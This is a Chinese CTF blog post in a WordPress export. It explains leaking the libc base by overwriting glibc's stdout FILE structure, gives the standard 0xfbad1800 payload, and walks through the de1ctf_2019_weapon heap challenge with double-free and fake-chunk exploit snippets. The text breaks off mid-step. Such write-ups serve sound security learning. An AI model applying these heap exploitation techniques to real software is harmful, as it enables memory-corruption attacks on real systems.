{"id":740,"date":"2025-01-16T21:08:42","date_gmt":"2025-01-16T13:08:42","guid":{"rendered":"http:\/\/8.141.27.105\/?p=740"},"modified":"2025-01-23T00:23:27","modified_gmt":"2025-01-22T16:23:27","slug":"pwnio_file%e5%88%a9%e7%94%a8","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/16\/pwnio_file%e5%88%a9%e7%94%a8\/","title":{"rendered":"PWN|IO_FILE\u5229\u7528"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span 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href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/16\/pwnio_file%e5%88%a9%e7%94%a8\/#%E5%88%A9%E7%94%A8stdout%E6%B3%84%E9%9C%B2libc\" title=\"\u5229\u7528stdout\u6cc4\u9732libc\">\u5229\u7528stdout\u6cc4\u9732libc<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/16\/pwnio_file%e5%88%a9%e7%94%a8\/#%E5%8E%9F%E7%90%86\" title=\"\u539f\u7406\">\u539f\u7406<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/16\/pwnio_file%e5%88%a9%e7%94%a8\/#%E4%BE%8B%E9%A2%981%EF%BC%9Ade1ctf_2019_weapon\" title=\"\u4f8b\u98981\uff1ade1ctf_2019_weapon\">\u4f8b\u98981\uff1ade1ctf_2019_weapon<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" 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ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/16\/pwnio_file%e5%88%a9%e7%94%a8\/#%E8%BF%87%E7%A8%8B-2\" title=\"\u8fc7\u7a0b\">\u8fc7\u7a0b<\/a><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%88%A9%E7%94%A8stdout%E6%B3%84%E9%9C%B2libc\"><\/span>\u5229\u7528stdout\u6cc4\u9732libc<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%8E%9F%E7%90%86\"><\/span>\u539f\u7406<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u8fd9\u79cd\u6280\u5de7\u4e13\u95e8\u7528\u4e8e<strong>\u9898\u76ee\u6ca1\u6709show\u529f\u80fd<\/strong>\u7684\u60c5\u51b5\u4e0b\u6cc4\u9732libc\u57fa\u5730\u5740\u3002<\/p>\n\n\n\n<p>\u539f\u7406\u53ef\u4ee5\u76f4\u63a5\u641c\u6807\u9898\uff0c\u6709\u5f88\u591a\u5e08\u5085\u7684\u6587\u7ae0\u5199\u7684\u5f88\u8be6\u7ec6\uff1a<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/qq_41202237\/article\/details\/113845320\">\u597d\u597d\u8bf4\u8bdd\u4e4bIO_FILE\u5229\u7528\uff081\uff09\uff1a\u5229\u7528_IO_2_1_stdout\u6cc4\u9732libc_libc\u6cc4\u9732\u65b9\u5f0f-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n<p>\u6211\u4e2a\u4eba\u7406\u89e3\uff1a<\/p>\n\n\n\n<p>\u5728write\u548cputs\u7b49\u51fd\u6570\u6267\u884c\u65f6\u4f1a\u8c03\u7528IO_FILE\u7ed3\u6784\u4f53\uff0c\u91cc\u9762\u6709\u51e0\u4e2a\u91cd\u8981\u7684\u53d8\u91cf\uff1a<\/p>\n\n\n\n<p>_IO_write_base\uff1a\u7f13\u51b2\u533a\u8d77\u59cb\u5730\u5740<\/p>\n\n\n\n<p>_IO_write_end\uff1a\u7f13\u51b2\u533a\u7ed3\u675f\u5730\u5740<\/p>\n\n\n\n<p>_IO_write_ptr\uff1a\u7f13\u51b2\u533a\u5f53\u524d\u5199\u5165\u4f4d\u7f6e<\/p>\n\n\n\n<p>\u5047\u8bbe\u4e00\u5f00\u59cb_IO_write_base=_IO_write_end=0x7abcdef\uff0c\u5982\u679c\u628a_IO_write_base\u6539\u62100x7abcd00\uff0c\u4e0b\u6b21\u8c03\u7528puts\u3001write\u7b49\u51fd\u6570\u65f6\u5c31\u4f1a\u628a0x7abcd00\u52300x7abcdef\u6240\u6709\u5185\u5bb9\u6253\u51fa\u6765\uff0c\u91cc\u9762\u4f1a\u6709libc\u57fa\u5730\u5740\u76f8\u5173\u5730\u5740\uff0c\u7531\u4e8e\u504f\u79fb\u56fa\u5b9a\uff0c\u6240\u4ee5\u5c31\u80fd\u7b97\u51falibc\u57fa\u5740\uff0c\u8fbe\u5230\u4e86\u6cc4\u9732\u76ee\u7684\u3002<\/p>\n\n\n\n<p>\u5177\u4f53\u7684\u7be1\u6539payload\u901a\u5e38\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>p64<strong>(0xfbad1800)<\/strong> <strong>+<\/strong> p64<strong>(0)*3<\/strong> <strong>+<\/strong> b'\\x00'<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>\u4e3a\u4ec0\u4e48\u8fd9\u4e48\u6539\uff1f\u53ef\u4ee5\u770b\u770b\u4e0b\u9762\u7684IO_FILE\u7ed3\u6784\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>struct _IO_FILE {\n    int _flags;                \/\/ \u6587\u4ef6\u72b6\u6001\u6807\u5fd7\uff08\u9ad8\u4f4d\u662f _IO_MAGIC\uff0c\u5176\u4f59\u662f\u6807\u5fd7\u4f4d\uff09\n    char* _IO_read_ptr;        \/\/ \u8bfb\u7f13\u51b2\u533a\u5f53\u524d\u8bfb\u53d6\u4f4d\u7f6e\n    char* _IO_read_end;        \/\/ \u8bfb\u7f13\u51b2\u533a\u7ed3\u675f\u4f4d\u7f6e\n    char* _IO_read_base;       \/\/ \u8bfb\u7f13\u51b2\u533a\u57fa\u5730\u5740\n    char* _IO_write_base;      \/\/ \u5199\u7f13\u51b2\u533a\u57fa\u5730\u5740\n    char* _IO_write_ptr;       \/\/ \u5199\u7f13\u51b2\u533a\u5f53\u524d\u5199\u5165\u4f4d\u7f6e\n    char* _IO_write_end;       \/\/ \u5199\u7f13\u51b2\u533a\u7ed3\u675f\u4f4d\u7f6e\n    char* _IO_buf_base;        \/\/ \u7f13\u51b2\u533a\u57fa\u5730\u5740\n    char* _IO_buf_end;         \/\/ \u7f13\u51b2\u533a\u7ed3\u675f\u4f4d\u7f6e\n    char *_IO_save_base;       \/\/ \u4fdd\u5b58\u7f13\u51b2\u533a\u57fa\u5730\u5740\n    char *_IO_backup_base;     \/\/ \u5907\u4efd\u7f13\u51b2\u533a\u57fa\u5730\u5740\n    char *_IO_save_end;        \/\/ \u4fdd\u5b58\u7f13\u51b2\u533a\u7ed3\u675f\u4f4d\u7f6e\n    struct _IO_marker *_markers; \/\/ \u6807\u8bb0\u6307\u9488\uff0c\u7528\u4e8e\u8ddf\u8e2a\u7f13\u51b2\u533a\u7684\u8bfb\u5199\u4f4d\u7f6e\n    struct _IO_FILE *_chain;   \/\/ \u94fe\u63a5\u5230\u4e0b\u4e00\u4e2a\u6587\u4ef6\u7ed3\u6784\uff0c\u7528\u4e8e\u6587\u4ef6\u94fe\u8868\n    int _fileno;               \/\/ \u6587\u4ef6\u63cf\u8ff0\u7b26\n    int _flags2;               \/\/ \u989d\u5916\u7684\u6587\u4ef6\u72b6\u6001\u6807\u5fd7\n    __off_t _old_offset;       \/\/ \u6587\u4ef6\u504f\u79fb\uff08\u65e7\u7248\uff0c\u5df2\u5f03\u7528\uff09\n    unsigned short _cur_column; \/\/ \u5f53\u524d\u5217\u53f7\uff08\u7528\u4e8e\u652f\u6301\u5217\u8ba1\u7b97\uff09\n    signed char _vtable_offset; \/\/ \u865a\u51fd\u6570\u8868\u504f\u79fb\u91cf\n    char _shortbuf&#91;1];         \/\/ \u77ed\u7f13\u51b2\u533a\uff08\u7528\u4e8e\u5c0f\u91cf\u6570\u636e\u7684\u5feb\u901f\u64cd\u4f5c\uff09\n    _IO_lock_t *_lock;         \/\/ \u6587\u4ef6\u9501\uff08\u7528\u4e8e\u591a\u7ebf\u7a0b\u73af\u5883\u4e0b\u7684\u6587\u4ef6\u6d41\u64cd\u4f5c\u4fdd\u62a4\uff09\n};<\/code><\/pre>\n\n\n\n<p>flag\u9700\u8981\u6539\u6210<strong>\u56fa\u5b9a\u76840xfbad1800<\/strong>\uff0c\u8fd9\u662f\u4e3a\u4e86\u7ed5\u8fc7\u68c0\u67e5\uff0c\u6784\u9020\u8fc7\u7a0b\u53ef\u53c2\u8003\uff1a<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/qq_41202237\/article\/details\/113845320\">\u597d\u597d\u8bf4\u8bdd\u4e4bIO_FILE\u5229\u7528\uff081\uff09\uff1a\u5229\u7528_IO_2_1_stdout\u6cc4\u9732libc_libc\u6cc4\u9732\u65b9\u5f0f-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n<p>\u540e\u9762\u7d27\u8ddf\u7740\u7684\u4e09\u4e2ap64(0)\u4e3a\u4e86\u8986\u76d6  _IO_read_ptr\u3001 _IO_read_end\u3001 _IO_read_base\uff0c\u8fd9\u51e0\u4e2a\u6ca1\u4ec0\u4e48\u7528\u6240\u4ee5\u76f4\u63a5\u8986\u76d60\u5c31\u884c\uff0c\u6700\u540e b&#8217;\\x00&#8217;\u518d\u628a _IO_write_base\u7684\u6700\u540e\u4e00\u5b57\u8282\u6539\u621000\uff0c\u5047\u8bbe\u4e00\u5f00\u59cb_IO_write_base=_IO_write_end=0xffff,\u5219\u6b64\u65f6_IO_write_base=0xff00,\u518d\u6b21\u8c03\u7528puts\u6216\u8005write\u5c31\u4f1a\u628a0xff00-0xffff\u4e4b\u95f4\u5185\u5bb9\u6253\u51fa\u6765\uff0c\u91cc\u9762\u4f1a\u6709libc\u76f8\u5173\u5730\u5740\uff0c\u4e5f\u5c31\u8fbe\u6210\u4e86\u6cc4\u9732\u76ee\u7684\u3002<\/p>\n\n\n\n<p>\u60f3\u7be1\u6539stdout\u9700\u8981\u5148\u62ff\u5230\u5b83\u7684\u5730\u5740\uff0c\u901a\u5e38\u662f\u901a\u8fc7main_arena\u5730\u5740\u95f4\u63a5\u62ff\u5230stdout\u5730\u5740\uff08\u7206\u7834\u4e00\u5b57\u8282\uff09\u3002\u7531\u4e8efastbin\u80fd\u901a\u8fc7\u6539fd\u6307\u9488\u4efb\u610f\u7533\u8bf7\uff0c\u4f46\u662f\u6cc4\u9732\u4e0d\u4e86main_arena\uff0c\u800cunsorted bin\u80fd\u6cc4\u9732main_arena\uff0c\u4f46\u662f\u7533\u8bf7\u4e0d\u5230\u90a3\u4e2a\u5730\u65b9\u53bb\uff0c\u5373fastbin\u80fd\u7533\u8bf7\u4e0d\u80fd\u6cc4\u9732\uff0cunsortedbin\u80fd\u6cc4\u9732\u4e0d\u80fd\u7533\u8bf7\uff0c\u6240\u4ee5\u9700\u8981\u501f\u52a9\u4e00\u4e2a\u540c\u65f6\u5728fastbin\uff08\u6216tcache bin\uff09\u548cunsorted bin\u4e2d\u7684chunk\u3002unsorted bin\u628amain_arena\u5199\u5165\u5230chunk\u7684fd\u6307\u9488\u540e\uff0cfastbin\u5c31\u80fd\u7533\u8bf7\u5230\u4e86\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%BE%8B%E9%A2%981%EF%BC%9Ade1ctf_2019_weapon\"><\/span>\u4f8b\u98981\uff1ade1ctf_2019_weapon<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u4f8b\u9898\u5730\u5740\uff1a<a href=\"https:\/\/buuoj.cn\/challenges#de1ctf_2019_weapon\">https:\/\/buuoj.cn\/challenges#de1ctf_2019_weapon<\/a><\/p>\n\n\n\n<p>\u53c2\u8003\u6587\u7ae0\uff1a<a href=\"https:\/\/xz.aliyun.com\/t\/15145?time__1311=GqjxuQD%3D0%3DoWqGNDQiiQdqxmwWqmrOA%2B0bD#toc-2\">iofile\u57fa\u7840\u7ed3\u6784\u4ee5\u53castdout\u6cc4\u9732libc\u5728\u6808\u5806\u7684\u5229\u7528\u539f\u7406 &#8211; \u5148\u77e5\u793e\u533a<\/a><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%88%86%E6%9E%90\"><\/span>\u5206\u6790<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p> \u83dc\u5355\u5806\uff0c\u9898\u76ee\u6709add\u3001delete\u3001edit\uff0c\u65e0show\u3002<\/p>\n\n\n\n<p>add\u51fd\u6570\uff1a\u81ea\u5b9a\u4e49chunk_size\u3001chunk_index\u3001chunk_data\uff0c\u5f00\u8f9f\u4e24\u4e2a\u6570\u7ec4\uff0c\u4e00\u4e2a\u5b58chunk\u7684size\u5927\u5c0f\uff0c\u4e00\u4e2a\u5b58chunk\u7684\u6307\u9488\u3002add\u7684\u5927\u5c0f\u88ab\u9650\u5236\u5728fastbin\u8303\u56f4\u5185\u3002<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ad2f72ca wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/FUXU56BGAXC_LBBC2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"847\" height=\"724\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/FUXU56BGAXC_LBBC2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-742\"  sizes=\"auto, (max-width: 847px) 100vw, 847px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n<\/div>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>delete\u51fd\u6570\uff1a\u6839\u636echunk\u7684\u6307\u9488\u6570\u7ec4\u6765free\u6389\u76f8\u5e94\u7684chunk\uff0c\u4f46\u6ca1\u6709\u7f6e\u7a7a\uff0c\u5b58\u5728UAF\uff0c\u7531\u4e8e\u73af\u5883\u662fubuntu 16\uff0c\u6240\u4ee5\u8fd8\u6709double free\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/UW7GWRKM37XHA5MMOK9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"602\" height=\"316\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/UW7GWRKM37XHA5MMOK9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-743\"  sizes=\"auto, (max-width: 602px) 100vw, 602px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>edit\u51fd\u6570\uff1a\u6839\u636e\u7d22\u5f15\u627e\u5230\u5bf9\u5e94chunk\u6307\u9488\uff0c\u7136\u540e\u6839\u636echunk_size\u7684\u5927\u5c0f\u5bf9chunk\u8fdb\u884c\u4fee\u6539\uff0c\u6240\u4ee5\u6ca1\u6709\u6ea2\u51fa\u3002<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ad2f72ca wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/B_JVIK@FYIZI6MA.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"993\" height=\"383\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/B_JVIK@FYIZI6MA.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-744\"  sizes=\"auto, (max-width: 993px) 100vw, 993px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n<\/div>\n\n\n\n<p><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E8%BF%87%E7%A8%8B\"><\/span>\u8fc7\u7a0b<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p><br>\u9996\u5148\u9700\u8981\u7be1\u6539stdout\u6765\u6cc4\u9732libc\uff0c\u90a3\u5c31\u5f97\u5148\u77e5\u9053stdout\u7684\u5730\u5740\u3002<br>stdout\u5730\u5740\u4e0emain_arena\u63a5\u8fd1\uff0c\u901a\u8fc7main_arena\u53ef\u4ee5\u7206\u7834\u3002<br>\u800c\u901a\u8fc7unsorted bin\u53ef\u4ee5\u6cc4\u9732main_arena\u3002\u4f46\u662f\u9898\u76ee\u7ed9\u7684add\u9650\u5236\u5927\u5c0f\uff0c\u65e0\u6cd5free\u5230unsortedbin\u91cc\u9762\uff0c\u6240\u4ee5\u9700\u8981\u901a\u8fc7double free\u6765\u7be1\u6539\u67d0\u4e2achunk\u7684size\uff0c\u4f7f\u5176free\u6389\u540e\u80fd\u8fdb\u5165unsorted bin.<\/p>\n\n\n\n<p>\u901a\u8fc7\u5806\u98ce\u6c34\u53ef\u4ee5\u5b9e\u73b0\u8fd9\u4e00\u70b9\uff0c\u9996\u5148\u660e\u786e\u4e00\u4e0b\u76ee\u6807\u2014\u2014<strong>\u4fee\u6539\u67d0\u4e2achunk\u7684size<\/strong>\uff0c\u4f7f\u5176\u8fbe\u5230unsorted bin\u5927\u5c0f\u3002\u7531\u4e8e\u5f00\u4e86PIE\uff0c\u6240\u4ee5fastbin\u7684fd\u6307\u9488\u7a76\u7adf\u8981\u53d6\u591a\u5c11\u662f\u4e2a\u95ee\u9898\uff0c\u8fd9\u91cc\u91c7\u7528\u95f4\u63a5\u7684\u65b9\u6cd5\uff0c\u4f9d\u6b21free\u6389chunk0\u3001chunk1\u3001chunk0\uff0c\u6b64\u65f6chunk0\u7684fd\u6307\u9488\u5c31\u662fchunk1\uff0cchunk1\u7684\u5730\u5740\u53ea\u9700\u8981\u6539\u540e\u4e24\u4f4d\u5c31\u57fa\u672c\u80fd\u8986\u76d6\u6240\u8981\u5229\u7528\u7684\u5806\u7a7a\u95f4\uff0c\u6240\u4ee5\u5c06fd\u540e\u4e24\u4f4d\u6539\u4e00\u4e0b\uff0c\u4f7f\u5f97\u80fd\u7533\u8bf7\u5230chunk1\u4e0a\u65b9\u7684fakechunk\uff08\u9700\u8981\u63d0\u524d\u5728fakechunk\u5904\u586b\u4e00\u4e0bsize\u6765\u7ed5\u8fc7\u68c0\u67e5\uff09\uff0c\u901a\u8fc7fakechunk\u5c31\u80fd\u4fee\u6539chunk1\u7684size\u4e86\uff0c\u4e4b\u540e\u518d\u628achunk1 free\u6389\u5c31\u80fd\u6254\u5230unsortedbin\u53bb\u4e86\u3002\u4e0d\u8fc7\u6211\u5728\u505a\u7684\u9014\u4e2dfree chunk1\u65f6\u5019\u4f1a\u62a5\u9519\uff0c\u4e8e\u662f\u9009\u62e9\u4e86chunk2\u6765\u505avictim chunk\u3002<\/p>\n\n\n\n<p>\u9996\u5148double free<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>add(0x50,0,b'a')\nadd(0x50,1,b'a'*0x40+p64(0)+p64(6f))#\u5728chunk2\u4e0a\u65b9\u5199\u4e00\u4e2a\\x6f\uff0c\u8fd9\u662ffakechunk\u7684size\nadd(0x50,2,b'aaaa')\n\nfree(0)\nfree(1)\nfree(0)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/Z3W@M@2EFF@M1MC5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"635\" height=\"261\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/Z3W@M@2EFF@M1MC5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-747\"  sizes=\"auto, (max-width: 635px) 100vw, 635px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u7136\u540e\u7533\u8bf7\u4e00\u4e2achunk\uff0c\u62ff\u5230chunk0\uff0c\u628achunk0\u7684fd\u6307\u9488\u540e\u4e24\u4f4d\u6539\u6210\\xb0\uff08fakechunk\u5904\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>add(0x50,0,b'\\xb0')<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/QHZ@A5W@LX5E8SNH.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"682\" height=\"509\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/QHZ@A5W@LX5E8SNH.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-749\"  sizes=\"auto, (max-width: 682px) 100vw, 682px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u7136\u540e\u518d\u7533\u8bf7\u4e09\u6b21\u5373\u53ef\u62ff\u5230fakechunk,\u5728\u7533\u8bf7\u7684\u540c\u65f6\u5c31\u80fd\u5bf9chunk2\u7684size\u8fdb\u884c\u4fee\u6539<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>add(0x50,1,'aaaa')\nadd(0x50,0,'aaaa')\nadd(0x50,7,p64(0)+p64(0xd1))#\u62ff\u5230fakechunk,\u5728\u7533\u8bf7\u7684\u540c\u65f6\u5bf9chunk2\u7684size\u8fdb\u884c\u4fee\u6539<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\uff0cchunk2\u7684size\u5df2\u7ecf\u6210\u529f\u4fee\u6539\u6210d1\uff1a<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ad2f72ca wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/CGYRWVPE4R0P77GBN.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"546\" height=\"518\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/CGYRWVPE4R0P77GBN.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-756\"  sizes=\"auto, (max-width: 546px) 100vw, 546px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n<\/div>\n\n\n\n<p><\/p>\n\n\n\n<p>\u7136\u540e\u628achunk2 free\u6389\uff0c\u5c31\u80fd\u8fdb\u5165unsorted bin\uff1a<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ad2f72ca wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/KSDC3FPBBQ74V6IDRBU5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"511\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/KSDC3FPBBQ74V6IDRBU5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-757\"  sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n<\/div>\n\n\n\n<p><\/p>\n\n\n\n<p>\u7136\u540e\u628achunk3 